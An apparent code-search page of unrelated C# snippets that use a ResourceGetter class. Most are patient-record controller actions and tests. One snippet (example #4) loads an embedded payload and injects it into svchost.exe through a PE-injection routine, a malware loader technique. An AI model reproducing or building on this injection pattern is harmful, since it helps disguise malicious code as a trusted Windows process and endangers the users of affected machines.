示例#1
0
        internal DataStore(string name,
                           ResourceGetter getter,
                           ResourcePoster poster,
                           DataStoreServicesPackage services)
        {
            Debug.Assert(services != null, "services != null");
            _services = services;
            _name     = name;
            _getter   = getter;
            _poster   = poster;
            if (_poster != null)
            {
                _poster.SetStatChannel(_getter.StatChannel);
            }

            _unactualitiesToken = Observable.FromEvent <UnactualResourceContent>
                                      (h => _unactualityAnnounce += h,
                                      h => _unactualityAnnounce  -= h)
                                  .ObserveOn(NewThreadScheduler.Default)
                                  .Subscribe(
                a =>
            {
                try
                {
                    _services._intCachier.MarkForUpdate(a);
                }
                finally
                {
                    UnlockForReadingThisAndDependent();
                }
            });
        }
 public IActionResult PatientEdited(EditedPatient patient)
 {
     if (ModelState.IsValid)
     {
         var client = new ResourceGetter();
         if (string.IsNullOrEmpty(patient.Id))
         {
             return(RedirectToAction("Patient", "Home"));
         }
         //fetch original patient
         var originalPatient = client.GetItem <Patient>(patient.Id);
         if (originalPatient != null)
         {
             if (patient.TryMergeWithResource(originalPatient))
             {
                 client.UpdateItem(originalPatient);
             }
         }
     }
     else
     {
         return(View("EditPatient", patient));
     }
     return(RedirectToAction("Patient", "Home"));
 }
示例#3
0
        public IActionResult Search(string surname)
        {
            var resource = new ResourceGetter();

            if (!Misc.DataValidator.TryValidateString(surname, out string validated, 2, 30))
            {
                return(ErrorIndex("Szukane nazwisko musi mieć między 2 a 30 znaków."));
            }
示例#4
0
    public static void method1()
    {
        byte[] Payload = ResourceGetter.GetPayload();

        string sysPath      = Environment.GetFolderPath(Environment.SpecialFolder.System);
        string winLogonPath = Path.Combine(sysPath, "svchost.exe");

        //            Installer.InstallFile();

        pe_injector.RunExecRoutine(Payload, winLogonPath, string.Empty);
    }
 public IActionResult CreatePatient(EditedPatient patient)
 {
     if (ModelState.IsValid)
     {
         var client = new ResourceGetter();
         client.AddItem(patient.MapToResource());
         return(RedirectToAction("InfoIndex", "Home", new { infoMessage = $"Dodano rekord {patient.GivenName} {patient.FamilyName}." }));
     }
     else
     {
         return(View(patient));
     }
 }
示例#6
0
        public IActionResult Patient()
        {
            var resource = new ResourceGetter();

            try
            {
                var patients = GetPatientsToDisplay();
                return(View("Patient", patients));
            }
            catch (System.Net.WebException)
            {
                return(View("Patient"));
            }
        }
        public IActionResult EditPatient(string id)
        {
            if (string.IsNullOrEmpty(id))
            {
                return(RedirectToAction("Patient", "Home"));
            }
            var res     = new ResourceGetter();
            var patient = res.GetItem <Patient>(id);

            if (patient == null)
            {
                return(RedirectToAction("Patient", "Home"));
            }
            var editablePatient = new EditedPatient(id);

            editablePatient.MapFromResource(patient);
            return(View(editablePatient));
        }
示例#8
0
        public void NewResourceAsync()
        {
            var sync = new AutoResetEvent(false);

            ResourceGetter.CreateNewResource((o, e) =>
            {
                if (e.Error != null)
                {
                    Assert.Fail(e.Error.Message);
                }
                var obj = e.Object.Resource;
                Assert.IsNotNull(obj);
                Assert.AreEqual(0, obj.Id);

                var list = e.Object.RoleList;
                Assert.IsNotNull(list);
                Assert.IsTrue(list.Count > 0);
                sync.Set();
            });
            sync.WaitOne(1000);
        }
        public IActionResult ViewPatient(string id, string startDate = null, string endDate = null)
        {
            if (!DataValidator.TryValidateString(id, out string idValidated, 4, 50))
            {
                ViewBag.Error        = true;
                ViewBag.ErrorMessage = $"Błąd parsowania id : `{id.Substring(30)}` nie jest poprawnym ciagiem.";
                return(View());
            }
            var searchParameters = new List <Tuple <string, string> >();

            DateTime startDateValidated = DateTime.MinValue,
                     endDateValidated   = DateTime.Now;

            if (!string.IsNullOrEmpty(startDate) && DataValidator.TryValidateDateTime(startDate, out startDateValidated))
            {
                searchParameters.Add(new Tuple <string, string>("date", startDateValidated.ToString(">=yyyy-MM-dd")));
                ViewBag.startDate = startDateValidated.ToString("dd-MMMM-yyyy");
            }

            if (!string.IsNullOrEmpty(endDate) && DataValidator.TryValidateDateTime(endDate, out endDateValidated))
            {
                searchParameters.Add(new Tuple <string, string>("date", endDateValidated.ToString("<=yyyy-MM-dd")));
                ViewBag.endDate = endDateValidated.ToString("dd-MMMM-yyyy");
            }

            var resourceGetter = new ResourceGetter();
            var person         = resourceGetter.GetItem <Patient>(id);

            if (person == null)
            {
                return(View());
            }

            searchParameters.Add(new Tuple <string, string>("subject", id));
            var patientsObservations        = resourceGetter.SearchItemsWithParameters <Observation>(searchParameters);
            var patientsMedicamentsRequests = resourceGetter.SearchItemsWithParameters <MedicationRequest>("subject", id);   //use only id search parameter

            var valuableExaminations = new Dictionary <string, List <PatientValueExamination> >();
            var valueObservations    = patientsObservations.Where(x => x.Value is SimpleQuantity || x.Component.Count > 0);
            var timelineObservations = patientsObservations.Where(x => !(x.Value is SimpleQuantity) && x.Component.Count == 0).
                                       Select(x =>
            {
                DateTimeOffset?issued = x.Issued;
                return(new TimelineObject()
                {
                    Date = issued.HasValue ? x.Issued.Value.DateTime : DateTime.MinValue,
                    Header = x.Code.Coding.FirstOrDefault()?.Display ?? DefaultObservationHeader,
                    Description = x.Value.ToString(),
                    Code = x.Code.Coding.FirstOrDefault()?.Code ?? DefaultCodeNumber,
                    EventType = TimelineEvent.ObservationMisc
                });
            });

            var timelineMedications = patientsMedicamentsRequests.
                                      Where(x =>
            {
                //filter dates here seems date in MedicationRequest search parameters doesn't affect results
                var dateTime = x.AuthoredOnElement.ToDateTime() ?? DateTime.Now;
                return(dateTime >= startDateValidated && dateTime <= endDateValidated);
            }).
                                      Select(x =>
            {
                var medication = x.Medication as CodeableConcept;
                return(new TimelineObject()
                {
                    Date = (x.AuthoredOnElement.ToDateTime() ?? DateTime.MinValue),
                    Header = "Podanie leku",
                    Description = (medication.Text ?? "Nieznana nazwa leku"),
                    Code = medication.Coding.FirstOrDefault().Code ?? DefaultCodeNumber,
                    EventType = TimelineEvent.MedicationRequest
                });
            });

            foreach (var observation in valueObservations)
            {
                List <PatientValueExamination> examinations = TryGetObservationValue(observation);

                foreach (var examination in examinations)
                {
                    var code = examination.Code;
                    if (!valuableExaminations.ContainsKey(code))
                    {
                        valuableExaminations.Add(code, new List <PatientValueExamination>()
                        {
                            examination
                        });
                    }
                    else
                    {
                        valuableExaminations[code].Add(examination);
                    }
                }
            }

            var patientSummary = new PatientSummary()
            {
                Data               = person,
                Observations       = patientsObservations,
                MedicationRequests = patientsMedicamentsRequests
            };

            //add dict for graphs
            patientSummary.SetPatientValueExaminations(valuableExaminations);
            //add timeline objects and sort them
            patientSummary.AddTimelineObjects(timelineObservations.Concat(timelineMedications).ToList());

            return(View(patientSummary));
        }
示例#10
0
 static Resource()
 {
     Load();
     r = new ResourceGetter();
 }
示例#11
0
 public GetReplay(ResourceGetter <LocalReplay> replayRetriever)
 {
     _replayRetriever = replayRetriever;
 }
示例#12
0
 public GetReplay(ResourceGetter <ReplayResource> replayRetriever)
 {
     _replayRetriever = replayRetriever;
 }
示例#13
0
 public GetScheme(ResourceGetter <LocalScheme> schemesRetriever)
 {
     _schemesRetriever = schemesRetriever;
 }
示例#14
0
 public GetScheme(ResourceGetter <SchemeResource> schemesRetriever)
 {
     _schemesRetriever = schemesRetriever;
 }